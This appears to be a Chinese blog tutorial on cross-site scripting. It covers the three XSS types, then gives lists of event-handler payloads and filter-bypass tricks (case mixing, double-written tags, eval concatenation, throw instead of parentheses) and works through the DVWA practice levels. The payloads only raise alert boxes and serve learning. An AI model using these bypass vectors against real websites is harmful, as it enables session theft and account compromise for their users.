目录
[1. 反射型 XSS(Reflected XSS)](#1. 反射型 XSS(Reflected XSS))
[2. 存储型 XSS(Stored XSS)](#2. 存储型 XSS(Stored XSS))
[3. DOM型 XSS(DOM-based XSS)](#3. DOM型 XSS(DOM-based XSS))
1)我们先尝试用大写绕过我们先尝试用大写绕过)
编辑2)双写绕过双写绕过)
[编辑 3)标签img爆出](#编辑 3)标签img爆出)
4)标签input爆出标签input爆出)
7)select标签嵌入select标签嵌入)
9)video标签爆出video标签爆出)
一.XSS的攻击方式:
1. 反射型 XSS(Reflected XSS)
-
定义:反射型 XSS 攻击发生在用户请求特定 URL 时,恶意脚本作为请求的一部分被服务器反射回用户的浏览器中。简单来说,攻击者在特定的请求中注入恶意代码,然后当用户点击这个链接时,网页会将这个代码反射回并执行。
-
特点:
- 不会存储在服务器上,而是立即反射给用户。
- 通常依赖于用户点击特殊构造的链接。
- 攻击通常是一次性的,用户需要点击链接以触发攻击。
-
示例:例如,一个搜索功能的查询字符串中包含恶意 JavaScript 代码:
http://example.com/search?q=<script>alert('XSS')</script>
如果网站未对参数 'q' 进行适当的编码或过滤,则页面可能立即执行这个脚本。
2. 存储型 XSS(Stored XSS)
-
定义:存储型 XSS 攻击是指恶意脚本被存储在服务器的数据库或其他存储介质中,随后被传送到用户的浏览器中进行执行。攻击者将恶意代码注入到网站中,保存后,当用户访问含有该代码的页面时,就会触发执行。
-
特点:
- 恶意代码存储在服务器上,可以反复利用,攻击的风险更高。
- 非常危险,可能影响所有访问该页面的用户。
-
示例:例如,一个社交网络允许用户发布评论,如果用户在评论中插入了恶意脚本:
<script>alert('Stored XSS');</script>
这个脚本会被存储到数据库中,当任何用户查看该评论时,该脚本就会被执行。
3. DOM型 XSS(DOM-based XSS)
-
定义:DOM型 XSS 是一种客户端攻击,它是通过操作 Document Object Model (DOM) 来实施的。攻击者注入的恶意代码直接在浏览器中执行,而不是通过服务器端的响应。这种类型的攻击常常依赖于脚本如何操作页面的 URL 或其他 DOM 元素。
-
特点:
- 完全在客户端进行,通常不需要与服务器交互。
- 利用 JavaScript 提供的操作 DOM 的能力,如
document.location
,document.cookie
等。 - 可能会在不需要用户点击链接的情况下自动触发。
-
示例 :一个 JavaScript 脚本错误地使用
location.hash
来获取 URL 中的锚点:const userInput = location.hash.substring(1); // 获取URL中的锚点内容
document.write(userInput); // 直接将其写入页面
如果攻击者访问:
http://example.com/#<script>alert('DOM-based XSS')</script>
页面会直接执行用户恶意注入的代码。
总结
- 反射型 XSS:即时反射,依赖用户点击链接,通常是一次性的。
- 存储型 XSS:恶意代码存储在服务器上,多次执行,影响广泛。
- DOM型 XSS:常在客户端,通过操控 DOM 元素来执行,无需与服务器交互。
二..XSS的危害
- 挂马
- 盗取用户Cookie
- DOS(拒绝服务)客户端浏览器
- 钓鱼攻击,高级的钓鱼技巧
- 删除目标文章、恶意篡改数据、嫁祸
- 劫持用户Web行为,甚至进一步渗透内网
- 爆发Web2.0蠕虫
- 蠕虫式的DDoS攻击
- 蠕虫式挂马攻击、刷广告、刷流量、破坏网上数据
- 伪造用户身份进行欺诈活动
- 在用户浏览器中执行任意代码
- 影响用户的社交媒体账户,发送垃圾信息
- 传播恶意链接或推荐广告
- 重定向用户到恶意网站
- 凭证缓存劫持,造成持久性攻击
- 进行细粒度的监控,记录用户活动
- 在用户不知情的情况下进行大规模注册或留言
- 通过篡改内容传播虚假信息或谣言
- 利用受害者的计算资源进行挖矿攻击
- 影响用户的主机安全,打开后门
三.常见的XSS方式
1.script标签
<script>alert(1)</script>
<script>alert("xss")</script>
<script>alert(document.cookie)</script>
2.img标签
<img src=1 onerror=alert(1);>
<img src=1 onerror=alert("xss");>
<img src=1 onerror=alert(document.cookie);>
3.input标签
<input onfocus=alert(1);>
<input onblur=alert(1) autofocus><input autofocus>
<input onfocus="alert(1);" autofocus>
<input onfocus="alert(1);" οnclick=alert(1)> 这样需要点击一下输入框<br>
<input onfocus="alert(1);" onmouseover=alert(1)> 需要鼠标划过输入框<br>
4.details标签
<details> 标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭 <details> 元素时触发
<details ontoggle=alert(1);>
<details open ontoggle=alert(1);>
使用details 标签的 open 属性触发ontoggle事件,无需用户去点击即可触发:
5.svg标签
<svg> 标签用来在HTML页面中直接嵌入SVG 文件的代码。
<svg onload=alert(1);>
6.select标签
<select> 标签用来创建下拉列表。
<select onfocus=alert(1)></select>
通过autofocus属性规定当页面加载时元素应该自动获得焦点,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:
<select onfocus=alert(1) autofocus>
7.iframe标签
<iframe> 标签会创建包含另外一个文档的内联框架。
<iframe onload=alert(1);></iframe>
8.video标签
<video> 标签定义视频,比如电影片段或其他视频流。
<video><source onerror=alert(1)>
9.audio标签
<audio> 标签定义声音,比如音乐或其他音频流。
<audio src=x onerror=alert(1);>
10.body标签
<body> 标签定义文档的主体。
<body onload=alert(1);>
四.常见基本过滤方法
1.空格过滤
当空格被过滤了时,我们可以用 / 来代替空格:
/**/,注释符号绕过;/符号绕过;
<img/src="x"/onerror=alert(1);>
2.引号过滤
如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号
<img src=x onerror=alert(`xss);>
3.括号过滤
当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<a onmouseover="javascript:window.onerror=alert;throw 1>
4.关键字过滤
大小写绕过
<sCRiPt>alert(1);</sCrIpT>
<ImG sRc=x onerRor=alert(1);>
双写绕过
有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过
<sc<script>ript>alert('xss')</script>
<imimgg srsrcc=x onerror=alert(1);>
5.字符串拼接绕过
利用eval()函数
与PHP的eval()函数相同,JavaScript的eval()函数也可以计算 JavaScript 字符串,并把它作为脚本代码来执行。
<img src="x" onerror="a='aler';b='t';c='(1)';eval(a+b+c)">
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
// 在js中,我们可以用反引号代替单双引号
五.DVWA
1.DOM(LOW)
源码:
我们发现并没有做任何过滤,那我们构造句最简单的XSS语句,看到出现弹窗,代码执行成功,说明存在XSS漏洞
<script>alert("xss")</script>
并且我们查看网页的代码发现刚刚输入的XSS代码已经插入并执行了
2.DOM(medium)
源码:
我们查看源码页面发现对"<script"进行了过滤,注入时会默认跳转到English页面。
既然不能使用script标签,那我们使用img进行尝试,发现奇怪还是没有弹窗。
<img src=1 onerror=alert("xss")>
但我们查看页面代码,发现我们构造的语句已经被插入了,不能成功执行弹窗的原因是select标签中只允许内嵌option标签,而option标签是不能嵌套我们构造的img标签的,因此我们需要先将前面的select标签和option标签都闭合后才能使用使用img标签。
</select></option><img src=1 onerror=alert("xss")>
我们将闭合后的语句执行后发现页面出现弹窗,说明存在xss漏洞。
3.DOM(High)
源码:
我们查看源代码,可以直接看出此处使用过滤方法是白名单过滤,只允许default传的值为French English German Spanish其中一个。这时候我们只能通过绕过服务器端的处理,只在服务器本端进行运行,考虑用#过滤,因为URL栏中的"#"之后的内容不会被发送到服务器当中去,不会经过JS的过滤,只在客户端显示,可以直接与浏览器进行交互。
#</select></option><img%20src=1%20onerror=alert("xss")>
4.Reflected(low)
源码:
我们发现并没有做任何过滤,那我们构造句最简单的XSS语句,看到出现弹窗,代码执行成功,说明存在XSS漏洞
<script>alert("xss")</script>
并且我们查看网页的代码发现刚刚输入的XSS代码已经插入并执行了
5.Reflected(Medium)
源码:
我们发现源码过滤了<script>我们尝试通过大写字母或双写,输入其他可执行弹窗的标签等方法来实现攻击.如果我们直接输入<script>alert('xss')</script>,发现页面直接显示alert('xss'),说明的确是直接过滤了<script>只传给服务器alert('xss')
1)我们先尝试用大写绕过
<Script>alert('xss')</Script>
2)双写绕过
<sc<script>ript>alert('xss')</script>
3)标签img爆出
<img src=1 onerror=alert('xss');>
4)标签input爆出
<input onfocus=alert('xss');>
5)标签detail
<details ontoggle=alert('xss');>
6)svg标签嵌入
<svg onload=alert('xss');>
7)select标签嵌入
<select onfocus=alert('xss')></select>
8)iframe标签
<iframe onload=alert(1);></iframe>
9)video标签爆出
<video><source onerror=alert('xss')>
10)audio标签爆出
<audio src=x onerror=alert('xss');>
11)body标签
<body onload=alert(1);>
6.Reflected(High)
源码
查看源代码,发现preg_replace 函数,是执行一个正则表达式的搜索和替换,直接将所有的<script>无论大小写都进行了过滤,但并未对其他标签进行限制,所以我们继续使用img,input,detail等标签来进xss利用。(这边以body标签为例)
<body onload=alert('xss');>
7.Stored(low)
源码:
查看源代码,发现使用mysqli_real_escape_string函数来对string中的特殊符号进行转义处理,但并未对我们输入的Name和Message进行xss的过滤。因此我们只需要直接输入JS代码进行攻击即可得到弹窗,攻击成功。
<script>alert("xss")</script>
<script>alert("1")</script>
8.Stored(Medium)
与Reflected相同,即用大写或双写都能直接绕过
9.Stored(High)
与Reflected相同,即用其他标签都能直接绕过